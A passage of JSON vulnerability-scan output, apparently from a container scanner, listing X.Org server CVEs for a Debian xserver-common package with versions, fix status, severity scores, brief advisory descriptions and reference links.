"https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50258", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50258.json", "https://www.cve.org/CVERecord?id=CVE-2026-50258" ], "PublishedDate": "2026-06-05T12:16:39.07Z", "LastModifiedDate": "2026-11-04T23:17:41.837Z" }, { "VulnerabilityID": "CVE-2026-50259", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50259", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:80e943b642e6c9098b459c453a58eec8b3f5c0635e04731848d13a1bc1b64870", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: stack buffer overflow in XKB SetMap request via mapWidths indexing", "Description": "A stack-based buffer overflow flaw was found in the X.Org X server and Xwayland. _XkbSetMapChecks() declares a fixed-size stack buffer mapWidths[256] indexed by key type index. The helper function CheckKeyTypes() writes to this buffer at a client-controlled offset, allowing a stack buffer overflow. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50259", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/867b59b33bee669cb412f1314e47c52eacf6e00b", "https://linux.oracle.com/cve/CVE-2026-50259.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50259", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50259.json", "https://www.cve.org/CVERecord?id=CVE-2026-50259" ], "PublishedDate": "2026-06-05T12:16:39.24Z", "LastModifiedDate": "2026-11-04T23:17:42.503Z" }, { "VulnerabilityID": "CVE-2026-50260", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50260", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d3236ac96a41efc27d586a97aee2a48ca77badc78ca3ae13938a9714bd126225", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: use-after-free in FreeCounter()", "Description": "A use-after-free flaw was found in the X.Org X server and Xwayland in FreeCounter(). A client that sets up multiple SyncCounters and awaits on those triggers can trigger a use-after-free when destroying those counters via a second client connection. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50260", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/f5abfb61994471023d8c6470428c8e30c411cc0b", "https://linux.oracle.com/cve/CVE-2026-50260.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50260", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50260.json", "https://www.cve.org/CVERecord?id=CVE-2026-50260" ], "PublishedDate": "2026-06-05T12:16:39.43Z", "LastModifiedDate": "2026-11-04T23:17:43.19Z" }, { "VulnerabilityID": "CVE-2026-50261", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50261", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:14abe41c4ba4991529dff003649a3bd7e4e4e1d3b21abb9d16152c9cfae507ed", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: use-after-free in SyncChangeCounter()", "Description": "A use-after-free flaw was found in the X.Org X server and Xwayland in SyncChangeCounter(). A client that sets up multiple SyncCounters can trigger a use-after-free when destroying those counters via a second client connection while changing those counters. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50261", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/bdd7bf57af208b1ddf57d4683d67104443b44812", "https://linux.oracle.com/cve/CVE-2026-50261.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50261", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50261.json", "https://www.cve.org/CVERecord?id=CVE-2026-50261" ], "PublishedDate": "2026-06-05T12:16:39.617Z", "LastModifiedDate": "2026-11-04T23:17:43.853Z" }, { "VulnerabilityID": "CVE-2026-50264", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50264", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ca3e497d950f654f29324f119ca7115fa6689066fcc38889d81f941f33f47bf6", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: out-of-bounds heap write in DRI2 DRIGetBuffers/DRIGetBuffersWithFormat", "Description": "An out-of-bounds write flaw was found in the X.Org X server and Xwayland in DRIGetBuffers/DRIGetBuffersWithFormat. A client that requests multiple DRI2BufferBackLeft attachments and one DRI2BufferFrontLeft can trigger an out-of-bounds heap write. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/security/cve/CVE-2026-50264", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/339c279514326134b0878fc23ce6e9520440ce7f", "https://linux.oracle.com/cve/CVE-2026-50264.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50264", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50264.json", "https://www.cve.org/CVERecord?id=CVE-2026-50264" ], "PublishedDate": "2026-06-05T12:16:40.08Z", "LastModifiedDate": "2026-11-04T23:17:44.523Z" }, { "VulnerabilityID": "CVE-2026-55999", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-55999", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:95dc47c42e6eb9f2798bfc246a2ad4cf5a68941319412de193807b623a6857ad", "Title": "xorg: X11: xserver: X.org: glamor Font Atlas Heap Buffer Overflow", "Description": "Local attackers with a X connection able to provide PCX fonts to the X \nserver xorg-server before 21.2.24 and xwayland before 24.1.13 could \ncause a heap buffer overflow via SetFont due to missing glyph boundary checks.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:38490", "https://access.redhat.com/security/cve/CVE-2026-55999", "https://bugzilla.redhat.com/2496165", "https://bugzilla.redhat.com/2496193", "https://bugzilla.redhat.com/show_bug.cgi?id=2496165", "https://bugzilla.redhat.com/show_bug.cgi?id=2496193", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56000", "https://errata.almalinux.org/9/ALSA-2026-38490.html", "https://errata.rockylinux.org/RLSA-2026:38490", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/fbf7bac22e2c6bd627fb042742a23318263edae1", "https://linux.oracle.com/cve/CVE-2026-55999.html", "https://linux.oracle.com/errata/ELSA-2026-50117-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-55999", "https://www.cve.org/CVERecord?id=CVE-2026-55999", "https://www.openwall.com/lists/oss-security/2026/07/08/2" ], "PublishedDate": "2026-07-08T09:16:29.8Z", "LastModifiedDate": "2026-07-09T19:49:51.483Z" }, { "VulnerabilityID": "CVE-2026-56000", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56000", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:548a4c35bb587fc7e0afa473e309f726e5dfa823a76b93a4713ea08420e18369", "Title": "X.org: xorg-x11-server: GLX contextTags Use-After-Free in CommonMakeCurrent()", "Description": "Local attackers with a X connection able to provide GLX commit to the X server xorg-server before 21.2.24 and xwayland before 24.1.13 could cause a Heap Use After Free, due to CommonMakeCurrent() pointing into potentially reallocated memory.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:38490", "https://access.redhat.com/security/cve/CVE-2026-56000", "https://bugzilla.redhat.com/2496165", "https://bugzilla.redhat.com/2496193", "https://bugzilla.redhat.com/show_bug.cgi?id=2496165", "https://bugzilla.redhat.com/show_bug.cgi?id=2496193", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56000", "https://errata.almalinux.org/9/ALSA-2026-38490.html", "https://errata.rockylinux.org/RLSA-2026:38490", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/2779affbdb4354e894f490e56f962527d6125043", "https://linux.oracle.com/cve/CVE-2026-56000.html", "https://linux.oracle.com/errata/ELSA-2026-38490.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56000", "https://www.cve.org/CVERecord?id=CVE-2026-56000", "https://www.openwall.com/lists/oss-security/2026/07/08/2" ], "PublishedDate": "2026-07-08T09:16:29.923Z", "LastModifiedDate": "2026-07-09T19:47:29.21Z" }, { "VulnerabilityID": "CVE-2026-88812", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-88812", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:27f8da67c90e8106472c594d3ccf702b2330fd19fe48c80cfc9fc70a6e0365cb", "Title": "xorg-x11-server: xwayland: xorg-x11-server: Arbitrary code execution via double-free in XKB geometry handling", "Description": "A double free in XKB SetGeometryin X.Org X Server before 21.1.25 and X Wayland before 24.1.14 could be used by attached clients to cause a crash or potentially code in the x server context.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85193", "https://access.redhat.com/security/cve/CVE-2026-88812", "https://bugzilla.redhat.com/2545161", "https://bugzilla.redhat.com/2545164", "https://bugzilla.redhat.com/2545174", "https://bugzilla.redhat.com/2545177", "https://bugzilla.redhat.com/2545178", "https://bugzilla.redhat.com/2545246", "https://bugzilla.redhat.com/2545860", "https://bugzilla.redhat.com/2545887", "https://bugzilla.redhat.com/2545908", "https://bugzilla.redhat.com/show_bug.cgi?id=2545161", "https://bugzilla.redhat.com/show_bug.cgi?id=2545164", "https://bugzilla.redhat.com/show_bug.cgi?id=2545174", "https://bugzilla.redhat.com/show_bug.cgi?id=2545177", "https://bugzilla.redhat.com/show_bug.cgi?id=2545178", "https://bugzilla.redhat.com/show_bug.cgi?id=2545246", "https://bugzilla.redhat.com/show_bug.cgi?id=2545860", 